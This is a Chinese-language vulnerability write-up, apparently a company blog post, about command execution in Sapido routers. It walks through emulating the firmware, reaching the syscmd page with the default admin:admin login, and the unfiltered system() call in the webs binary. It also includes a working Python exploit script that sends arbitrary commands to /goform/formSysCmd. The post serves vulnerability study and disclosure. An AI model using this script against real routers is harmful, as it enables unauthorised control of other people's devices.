盛世集团

提交需求
*
*

*
*
*
立即提交
点击”立即提交” ,表明我理解并同意 《盛世集团科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于盛世集团

    申请试用
      Sapdio路由器命令执行分析
      发布时间:2023-03-10 阅读次数: 1577 次
      图片
      前言

      金智洋Sapido是台湾钢铁集团专为 IoT 物联网技术所投资的品牌科技公司 ,专门设计开发智慧全无线保全系统及硬体设备 ,同时拥有APP的研发能力 ,跨足智慧家庭 SMART HOME TOTAL SOLUTION 及 智能制造 & ERP等全方位企业整合方案 ,提供无线分享器网通产品、智慧插座、监控保全等产品 。金智洋Sapido凭藉专业的研发团队及行销市场的规划 ,深耕台湾 ,坚持台湾制造 ,并荣获台湾唯一拥有MIT微笑标章的网路通讯企业 ,且至今已累积50座台湾精品奖的殊荣 ,获颁台湾精品终身成就奖 。
      2019年该旗下多个型号路由器存在未授权命令执行漏洞 ,可被黑客进行恶意利用 。主要影响的版本为BR270n-v2.1.03、BRC76n-v2.1.03、GR297-v2.1.3、RB1732-v2.0.43及之前的版本 。
      图片
      固件环境模拟

      在这里该固件的环境模拟主要通过firmware-analysis-toolkit工具实现 ,该工具集成了主流的几款自动化固件模拟工具 。这里推荐大家下载attifyos3.0 ,其中已安装firmware-analysis-toolkit工具

      attifyos3.0下载地址:https://pan.m.yzjiangyang.com/s/1-UQOBax1-t8EFVrzGvEhVQ提取码:zshs

      本次漏洞分析所使用的固件版本为:RB-1732_TC_v2.0.43

      固件下载地址:https://share.weiyun.com/5Z9kOYc

      进入attifyos虚拟机中 ,切换目录至~/tools/firmware-analysis-toolkit

      图片

      将RB-1732_TC_v2.0.43.bin放置到虚拟机中 ,在这里我的位置为/home/iot/Desktop/firewalk/RB-1732_TC_v2.0.43.bin

      图片

      在命令行中执行 python3 fat.py /home/iot/Desktop/firewalk/RB-1732_TC_v2.0.43.bin

      图片

      这里首先会进行网络的自动化配置 ,当显示br0的网络地址时 ,表示模拟器网络已配置好 ,记住此时的br0地址为192.168.1.1

      图片

      此时回车 ,进行固件的部署 ,稍等片刻 ,显示如下图则表示环境已部署完成

      图片

      访问http://192.168.1.1/admin.asp ,此时显示路由器的管理页面 ,默认账号密码为admin:admin ,表示环境已模拟完成

      图片
      漏洞复现

      使用admin:admin默认账号登录后台 ,页面显示如下

      图片

      接下来访问http://192.168.1.1/syscmd.asp ,进入到命令执行页

      图片

      输入ifconfig命令 ,成功执行

      图片

      通过漏洞利用脚本执行结果如下

      图片

      rb1732_exploit.py脚本内容如下









      import requestsimport sysdef test_httpcommand(ip, command):  my_data = {'sysCmd': command, 'apply': 'Apply', 'submit-url':'/syscmd.asp', 'msg':''}  r = requests.post('http://%s/goform/formSysCmd' % ip, data = my_data)  content = r.text  content = content[    content.find('<textarea rows="15" name="msg" cols="80" wrap="virtual">')+56:  content.rfind('</textarea>')]  return content print test_httpcommand(sys.argv[1], " ".join(sys.argv[2:]))
      图片
      漏洞分析

      根据syscmd.asp页面 ,输入ifconfig命令 ,抓包可知 ,真正执行命令的后台程序为/goform/formSysCmd ,命令的参数名为sysCmd 。

      图片

      接下来使用binwalk进行固件提取 ,尝试进行源码分析 ,命令为binwalk -Me RB-1732_TC_v2.0.43.bin

      提取完成后 ,会生成_RB-1732_TC_v2.0.43.bin.extracted目录 ,其中保存有固件的源码


      图片

      进入到_RB-1732_TC_v2.0.43.bin.extracted/squashfs-root中 ,grep -r "formSysCmd" ,全局查找存在该字符的位置

      图片

      可以看到 ,除了syscmd.asp和obama.asp页面程序 ,只有bin/webs文件匹配到 ,初步判断webs程序才是真正的后台处理程序

      file bin/webs ,查看程序文件格式 ,为mips 32位程序

      图片

      将webs文件拷贝出来 ,导入ida进行静态分析 ,view -> open subviews -> Strings查看全部字符串

      crtl +F 查找formSyscmd字段

      图片


      可以看到有2个位置存在该字段 ,分别位于004044DB和00471A44两个位置 ,首先双击004044DB的位置进入

      图片


      继续双击formSysCmd ,进入该函数的定义

      图片


      F5进行反编译查看伪代码

      图片

      到这里我们可以清楚地看到 ,formSysCmd函数通过websGetVar函数获取用户的输入 ,包括有submit_url、sysCmd、writeData、filename、fpath、readfile的参数值 。其中v3为sysCmd的参数值

      图片


      接下来在没有过滤v3值的情况下 ,通过snprintf格式化拼接字符串 ,得到 v20= &v3  2>&1 > /tmp/syscmd.log
      最终调用system函数执行v20的字符串 。
      这里将v3设置成ifconfig ,我们在本地执行查看效果 ,可以看到命令成功执行 ,并将结果返回到syscmd.log ,因此只要命令在syscmd参数位置输入系统命令 ,则可导致命令执行漏洞

      图片


      盛世集团·(中国大陆)官方网站 免费试用
      盛世集团·(中国大陆)官方网站 服务热线
      盛世集团·(中国大陆)官方网站

      马上咨询

      400-811-3777

      盛世集团·(中国大陆)官方网站 回到顶部
      【网站地图】